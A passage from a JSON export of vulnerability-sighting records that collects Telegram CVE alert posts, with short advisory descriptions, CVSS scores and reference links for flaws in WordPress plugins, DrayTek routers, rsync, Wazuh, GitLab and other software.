Simple Basic Contact Form WordPress plugin before 20250114 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-05-15T20:06:53.772Z\n\ud83d\udccf Modified: 2025-05-20T19:32:33.083Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/a9fa48f1-d7fd-4968-a122-937803f186a2/", "creation_timestamp": "2025-05-20T19:43:22.000000Z"}, {"uuid": "181cf6b4-41eb-42f5-815d-a1ed2f6b7284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12301", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17065", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12301\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The JSP Store Locator WordPress plugin through 1.0 does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks.\n\ud83d\udccf Published: 2025-05-15T20:06:52.758Z\n\ud83d\udccf Modified: 2025-05-20T19:33:00.155Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/5d93db07-415f-475b-a76d-2e12f849a4dc/", "creation_timestamp": "2025-05-20T19:43:04.000000Z"}, {"uuid": "96d5dc6e-7b0a-411c-b60c-470874a88139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12986", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16740", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12986\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, has been found in DrayTek Vigor2960 and Vigor300B 1.5.1.3/1.5.1.4. This issue affects some unknown processing of the file /cgi-bin/mainfunction.cgi/apmcfgupptim of the component Web Management Interface. The manipulation of the argument session leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.5 is able to address this issue. It is recommended to upgrade the affected component.\n\ud83d\udccf Published: 2024-12-27T15:31:05.003Z\n\ud83d\udccf Modified: 2025-05-16T18:37:19.459Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.289379\n2. https://vuldb.com/?ctiid.289379\n3. https://vuldb.com/?submit.468794\n4. https://netsecfish.notion.site/Command-Injection-in-apmcfgupptim-endpoint-for-DrayTek-Gateway-Devices-1676b683e67c80b9ad8cc37b93273bf6?pvs=4", "creation_timestamp": "2025-05-16T19:34:38.000000Z"}, {"uuid": "7d7ef0cb-3229-4495-8223-7ecf32c84d12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12679", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17066", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12679\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Prisna GWT  WordPress plugin before 1.4.14 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-05-15T20:06:53.369Z\n\ud83d\udccf Modified: 2025-05-20T19:32:51.031Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/7ca1438f-4269-4e34-be4a-766276a9f016/", "creation_timestamp": "2025-05-20T19:43:08.000000Z"}, {"uuid": "75f72257-d6c8-4d13-91bd-6fa4e1d5258b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12680", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17067", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12680\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Prisna GWT  WordPress plugin before 1.4.14 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-05-15T20:06:53.573Z\n\ud83d\udccf Modified: 2025-05-20T19:32:42.095Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/28537fbc-3c2b-40c1-85f0-8b5f94eaad51/", "creation_timestamp": "2025-05-20T19:43:14.000000Z"}, {"uuid": "3427457d-0fef-4940-832c-c6be9129ea71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "Telegram/j26DGJrd6hDEzfZlHw-97vNbm4BY4Cj8D1GznJ10D93Qv7eF", "content": "", "creation_timestamp": "2025-01-28T03:22:55.000000Z"}, {"uuid": "ec1cd236-90f2-4bc3-af4c-b120d7de93fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12722", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17069", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12722\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Twitter Bootstrap Collapse aka Accordian Shortcode WordPress plugin through 1.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2025-05-15T20:06:53.961Z\n\ud83d\udccf Modified: 2025-05-20T19:32:23.866Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/c3be5990-ca89-4ac4-baae-49af55df9d57/", "creation_timestamp": "2025-05-20T19:43:29.000000Z"}, {"uuid": "ab7e3b0b-afe2-4c33-afa7-a67323de39c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12093", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17276", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12093\n\ud83d\udd25 CVSS Score: 6.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: An issue has been discovered in GitLab CE/EE affecting all versions from 11.1 before 17.10.7, 17.11 before 17.11.3, and 18.0 before 18.0.1. Improper XPath validation allows modified SAML response to bypass 2FA requirement under specialized conditions.\n\ud83d\udccf Published: 2025-05-22T14:32:04.147Z\n\ud83d\udccf Modified: 2025-05-22T14:32:04.147Z\n\ud83d\udd17 References:\n1. https://gitlab.com/gitlab-org/gitlab/-/issues/507445\n2. https://hackerone.com/reports/2851261", "creation_timestamp": "2025-05-22T14:43:11.000000Z"}, {"uuid": "6db511b9-988a-4bf4-9848-28b97f524b8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12915", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19937", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12915\n\ud83d\udd25 CVSS Score: 4.6 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Devinim Software Library Software allows Reflected XSS.This issue affects Library Software: before 24.11.02.\n\ud83d\udccf Published: 2025-06-30T15:43:59.956Z\n\ud83d\udccf Modified: 2025-06-30T16:00:17.912Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0144", "creation_timestamp": "2025-06-30T16:07:10.000000Z"}, {"uuid": "358b5a45-a56d-4cce-87b7-7fcfcf0877de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1269", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17932", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1269\n\ud83d\udd25 CVSS Score: 2.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: A vulnerability has been found in SourceCodester Product Management System 1.0 and classified as problematic. This vulnerability affects unknown code of the file /supplier.php. The manipulation of the argument supplier_name/supplier_contact leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-253012.\n\ud83d\udccf Published: 2024-02-07T02:00:05.782Z\n\ud83d\udccf Modified: 2025-06-10T16:15:09.978Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.253012\n2. https://vuldb.com/?ctiid.253012\n3. https://github.com/PrecursorYork/Product-Management-System-Using-PHP-and-MySQL-Reflected-XSS-POC/blob/main/README.md", "creation_timestamp": "2025-06-10T16:32:00.000000Z"}, {"uuid": "87015388-2289-47de-9687-3cfa9d9d8be5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1244", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18040", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1244\n\ud83d\udd25 CVSS Score: 9.5 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)\n\ud83d\udd39 Description: Improper input validation in the OSSEC HIDS agent for Windows prior to version 3.8.0 allows an attacker in with control over the OSSEC server or in possession of the agent's key to configure the agent to connect to a malicious UNC path. This results in the leakage of the machine account NetNTLMv2 hash, which can be relayed for remote code execution or used to escalate privileges to SYSTEM via AD CS certificate forging and other similar attacks.\n\ud83d\udccf Published: 2025-06-11T02:59:06.240Z\n\ud83d\udccf Modified: 2025-06-11T02:59:06.240Z\n\ud83d\udd17 References:\n1. https://pentraze.com/\n2. https://pentraze.com/vulnerability-reports/", "creation_timestamp": "2025-06-11T03:37:02.000000Z"}, {"uuid": "9274c6ca-5013-41b4-b8d9-25e48f5a3638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1243", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18039", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1243\n\ud83d\udd25 CVSS Score: 9.5 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)\n\ud83d\udd39 Description: Improper input validation in the Wazuh agent for Windows prior to version 4.8.0 allows an attacker with control over the Wazuh server or agent key to configure the agent to connect to a malicious UNC path. This results in the leakage of the machine account NetNTLMv2 hash, which can be relayed for remote code execution or used to escalate privileges to SYSTEM via AD CS certificate forging and other similar attacks.\n\ud83d\udccf Published: 2025-06-11T01:15:13.116Z\n\ud83d\udccf Modified: 2025-06-11T01:15:13.116Z\n\ud83d\udd17 References:\n1. https://pentraze.com/\n2. https://pentraze.com/vulnerability-reports/CVE-2024-1243/\n3. https://github.com/wazuh/wazuh/security/advisories/GHSA-3crh-39qv-fxj7", "creation_timestamp": "2025-06-11T02:37:03.000000Z"}, {"uuid": "c9b120ed-5f5c-440d-aa26-66c9bbc1d28b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1201", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18334", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1201\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Search path or unquoted item vulnerability in HDD Health affecting versions 4.2.0.112 and earlier. This vulnerability could allow a local attacker to store a malicious executable file within the unquoted search path, resulting in privilege escalation.\n\ud83d\udccf Published: 2024-02-02T12:00:51.824Z\n\ud83d\udccf Modified: 2025-06-13T19:01:22.377Z\n\ud83d\udd17 References:\n1. https://www.incibe.es/en/incibe-cert/notices/aviso/panterasoft-hdd-health-search-path-or-unquoted-item-vulnerability", "creation_timestamp": "2025-06-13T19:35:08.000000Z"}, {"uuid": "0faa91f8-addb-480f-8e44-701274ea8cc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18474", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12747\n\ud83d\udd25 CVSS Score: 5.6 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N)\n\ud83d\udd39 Description: A flaw was found in rsync. This vulnerability arises from a race condition during rsync's handling of symbolic links. Rsync's default behavior when encountering symbolic links is to skip them. If an attacker replaced a regular file with a symbolic link at the right time, it was possible to bypass the default behavior and traverse symbolic links. Depending on the privileges of the rsync process, an attacker could leak sensitive information, potentially leading to privilege escalation.\n\ud83d\udccf Published: 2025-01-14T17:39:16.031Z\n\ud83d\udccf Modified: 2025-06-16T17:24:34.857Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:2600\n2. https://access.redhat.com/errata/RHSA-2025:7050\n3. https://access.redhat.com/errata/RHSA-2025:8385\n4. https://access.redhat.com/security/cve/CVE-2024-12747\n5. https://bugzilla.redhat.com/show_bug.cgi?id=2332968\n6. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-06-16T17:37:46.000000Z"}, {"uuid": "018af780-2150-464a-bfe0-33f6e09a78ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18777", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12088\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)\n\ud83d\udd39 Description: A flaw was found in rsync. When using the `--safe-links` option, the rsync client fails to properly verify if a symbolic link destination sent from the server contains another symbolic link within it. This results in a path traversal vulnerability, which may lead to arbitrary file write outside the desired directory.\n\ud83d\udccf Published: 2025-01-14T17:38:34.890Z\n\ud83d\udccf Modified: 2025-06-18T16:34:57.892Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:2600\n2. https://access.redhat.com/errata/RHSA-2025:7050\n3. https://access.redhat.com/errata/RHSA-2025:8385\n4. https://access.redhat.com/security/cve/CVE-2024-12088\n5. https://bugzilla.redhat.com/show_bug.cgi?id=2330676\n6. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-06-18T16:43:22.000000Z"}, {"uuid": "9fc4743d-3c1f-44f9-a04d-4096ea027ac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "Telegram/5ceKCrbz6lS0VVNgwRRpMRmgX1391Q6MmMiE2cXDw-oiXA9Y", "content": "", "creation_timestamp": "2025-02-14T10:04:02.000000Z"}, {"uuid": "61d9e8e5-3db3-4b4c-a356-14bdb69dc2fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12029", "type": "published-proof-of-concept", "source": "Telegram/ZISkoB043557Xv37GGFJzYg7Y_iIJ-ZMm0BHFwXa3auXqi8", "content": "", "creation_timestamp": "2026-04-15T23:00:08.000000Z"}, {"uuid": "007fdb70-634b-4cbf-98e2-147aab9f4ce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12334", "type": "seen", "source": "https://t.me/cvedetector/16415", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12334 - Adobe WC Affiliate Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12334 \nPublished : Jan. 26, 2025, 12:15 p.m. | 1\u00a0hour, 49\u00a0minutes ago \nDescription : The WC Affiliate \u2013 A Complete WooCommerce Affiliate Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via any parameter in all versions up to, and including, 2.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-26T15:44:38.000000Z"}, {"uuid": "22b1506d-1a1c-494c-b8ef-8a6e46f04030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12494", "type": "seen", "source": "https://t.me/cvedetector/16256", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12494 - \"WordPress BMLT Meeting Map Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12494 \nPublished : Jan. 24, 2025, 10:15 a.m. | 27\u00a0minutes ago \nDescription : The BMLT Meeting Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bmlt_meeting_map' shortcode in all versions up to, and including, 2.6.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-24T11:53:36.000000Z"}, {"uuid": "45148722-0932-4ffd-a08a-c286d316ce17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12782", "type": "seen", "source": "Telegram/jI-ziKY_wX-x8VxGbDq94Mgm1Oi4M16ZlunioiOwreGl0lXu", "content": "", "creation_timestamp": "2025-03-02T11:44:22.000000Z"}, {"uuid": "7535054a-a99e-4433-8391-11be3a82cf63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/cvedetector/17117", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12511 - HP SMB/FTP Settings Manipulation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12511 \nPublished : Feb. 3, 2025, 8:15 p.m. | 22\u00a0minutes ago \nDescription : With address book access, SMB/FTP settings could be modified, redirecting scans and possibly capturing credentials. This requires enabled scan functions and printer access. \nSeverity: 7.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-03T22:00:19.000000Z"}, {"uuid": "2e6c208a-3785-4cc2-9d89-6430d61eabbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12820", "type": "seen", "source": "Telegram/LMtMxKxj53alsge1voq1G6D70nsURz1zvART2odGB2DxPLfr", "content": "", "creation_timestamp": "2025-03-02T11:44:22.000000Z"}, {"uuid": "f69cbe0a-63e4-4b9f-b213-19859c65491a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12533", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16143", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12533\n\ud83d\udd25 CVSS Score: 3.3 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: Improper Check for Unusual or Exceptional Conditions vulnerability in Phoenix SecureCore Technology 4 allows Input Data Manipulation.This issue affects SecureCore Technology 4: from 4.0.1.0 before 4.0.1.1018, from 4.1.0.1 before 4.1.0.573, from 4.2.0.1 before 4.2.0.338, from 4.2.1.1 before 4.2.1.300, from 4.3.0.1 before 4.3.0.244, from 4.3.1.1 before 4.3.1.187, from 4.4.0.1 before 4.4.0.299, from 4.5.0.1 before 4.5.0.231, from 4.5.1.1 before 4.5.1.103, from 4.5.5.1 before 4.5.5.36, from 4.6.0.1 before 4.6.0.67.\n\ud83d\udccf Published: 2025-05-13T14:56:41.235Z\n\ud83d\udccf Modified: 2025-05-13T15:15:09.100Z\n\ud83d\udd17 References:\n1. https://www.phoenix.com/security-notifications/cve-2024-12533", "creation_timestamp": "2025-05-13T15:31:17.000000Z"}, {"uuid": "342a705f-b2dd-45eb-9ecb-5cc0c5c12fa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12280", "type": "seen", "source": "https://t.me/cvedetector/16446", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12280 - WordPress Customer Area CSRF Delete Log\", \n  \"Content\": \"CVE ID : CVE-2024-12280 \nPublished : Jan. 27, 2025, 6:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The WP Customer Area WordPress plugin through 8.2.4 does not have CSRF check in place when deleting its logs, which could allow attackers to make a logged in to delete them via a CSRF attack \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T10:08:30.000000Z"}, {"uuid": "5bd3174f-d2d1-4857-924a-0e90c8e648bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/cvedetector/18163", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12562 - WordPress s2Member Pro PHP Object Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12562 \nPublished : Feb. 15, 2025, 10:15 a.m. | 1\u00a0hour, 4\u00a0minutes ago \nDescription : The s2Member Pro plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 241216 via deserialization of untrusted input from the 's2member_pro_remote_op' vulnerable parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-15T12:41:22.000000Z"}, {"uuid": "95927a7e-ac29-4718-af3d-67f362e3585d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12784", "type": "seen", "source": "Telegram/ACdvdw15_6xp7r3FPMrLgrxpzuBS_jC8LpST0Anu02-nLpl2", "content": "", "creation_timestamp": "2025-02-14T10:01:45.000000Z"}, {"uuid": "4dad3493-1911-44d9-af2e-b534e63a0d79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12774", "type": "seen", "source": "https://t.me/cvedetector/16445", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12774 - Altra Side Menu CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12774 \nPublished : Jan. 27, 2025, 6:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The Altra Side Menu WordPress plugin through 2.0 does not have CSRF checks in some places, which could allow attackers to make logged in admins delete arbitrary menu via a CSRF attack \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T10:08:29.000000Z"}, {"uuid": "58d636f6-c8c5-41c4-9944-1d95451b2032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12651", "type": "seen", "source": "https://t.me/cvedetector/18113", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12651 - PTT HGS Mobile App Exposed Dangerous Method or Function\", \n  \"Content\": \"CVE ID : CVE-2024-12651 \nPublished : Feb. 14, 2025, 2:15 p.m. | 2\u00a0hours, 1\u00a0minute ago \nDescription : Exposed Dangerous Method or Function vulnerability in PTT Inc. HGS Mobile App allows Manipulating User-Controlled Variables.This issue affects HGS Mobile App: before 6.5.0. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-14T17:26:21.000000Z"}, {"uuid": "75b34556-1784-4ce6-b0ec-7841b454ffad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12321", "type": "seen", "source": "https://t.me/cvedetector/16444", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12321 - \"WC Affiliate Reflected Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12321 \nPublished : Jan. 27, 2025, 6:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The WC Affiliate  WordPress plugin through 2.3.9 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T10:08:25.000000Z"}, {"uuid": "ab8a1b7a-f787-4f54-9951-fc5b0f5fded0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "https://t.me/CyberBulletin/2042", "content": "\u26a1\ufe0fCVE-2024-12847 (CVSS 9.8): NETGEAR Router Flaw Exploited in the Wild for Years, PoC Published.\n\n#CyberBulletin", "creation_timestamp": "2025-01-11T09:22:57.000000Z"}, {"uuid": 